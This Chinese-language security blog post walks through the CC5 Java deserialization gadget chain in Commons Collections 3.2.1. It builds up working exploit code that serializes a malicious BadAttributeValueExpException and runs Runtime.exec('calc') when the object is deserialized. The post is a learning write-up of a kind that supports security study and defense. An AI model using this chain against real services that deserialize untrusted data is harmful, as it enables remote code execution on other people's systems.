avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Java反序列化Commons-Collections篇07-CC5链
文章

Java反序列化Commons-Collections篇07-CC5链

Posted 2025-09-14 Updated 2025-09- 14
By Administrator
22~28 min read

前言

需要注意的是由于commons-collections4版本的LazyMap类没有decorate,所以这里用的是3.2.1版本。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

CC5链的入口类是BadAttributeValueExpException.readObject(),再通过TiedMapEntry.toString() 调用LazyMap的get函数,后面的链子就是CC1的链子

构造链子

BadAttributeValueExpException.readObject()的入口,这里调用了toString函数

在TiedMapEntry中看到toString调用了getValue,getValue由调用了map.get(key)

所以可以在此处调用LazyMap.get(chainedTransformer)执行恶意代码。

首先这里先把到LazyMap.get的链子构造好


public class CC5 {
    public  static  void  main(String[]args) throws Exception{

//        Runtime run = Runtime.getRuntime();
//        run.exec("calc");
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap=new HashMap<>();


        Map decoratemap= LazyMap.decorate(hashMap,chainedTransformer);

        Class<LazyMap> c=LazyMap.class;
        Method method=c.getDeclaredMethod("get",Object.class);
        method.setAccessible(true);
        method.invoke(decoratemap,chainedTransformer);
//        TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,1);
//        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(tiedMapEntry);
    }
}

成功弹出计算器

继续往下构造



public class CC5 {
    public static void main(String[] args) throws Exception {

//        Runtime run = Runtime.getRuntime();
//        run.exec("calc");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();


        Map decoratemap = LazyMap.decorate(hashMap, chainedTransformer);

//        Class<LazyMap> c=LazyMap.class;
//        Method method=c.getDeclaredMethod("get",Object.class);
//        method.setAccessible(true);
//        method.invoke(decoratemap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap, chainedTransformer);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

成功弹出计算器,但是发现在序列化之前计算器就已经弹出了

解释一下这里恶意代码提前执行的原因

在构造函数里就会执行val.toString()

所以这里用反射把tiedMapEntry传入val,让弹出计算器的步骤延迟到反序列化的时候。

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {

//        Runtime run = Runtime.getRuntime();
//        run.exec("calc");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();


        Map decoratemap = LazyMap.decorate(hashMap, chainedTransformer);

//        Class<LazyMap> c=LazyMap.class;
//        Method method=c.getDeclaredMethod("get",Object.class);
//        method.setAccessible(true);
//        method.invoke(decoratemap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap, chainedTransformer);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        Class c = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = c.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

最终exp

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {

//        Runtime run = Runtime.getRuntime();
//        run.exec("calc");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();


        Map decoratemap = LazyMap.decorate(hashMap, chainedTransformer);

//        Class<LazyMap> c=LazyMap.class;
//        Method method=c.getDeclaredMethod("get",Object.class);
//        method.setAccessible(true);
//        method.invoke(decoratemap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap, chainedTransformer);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        Class c = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = c.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结

java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

Java反序列化Commons-Collections篇06-CC2链

NEWER

Java反序列化Commons-Collections篇-CC7链

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy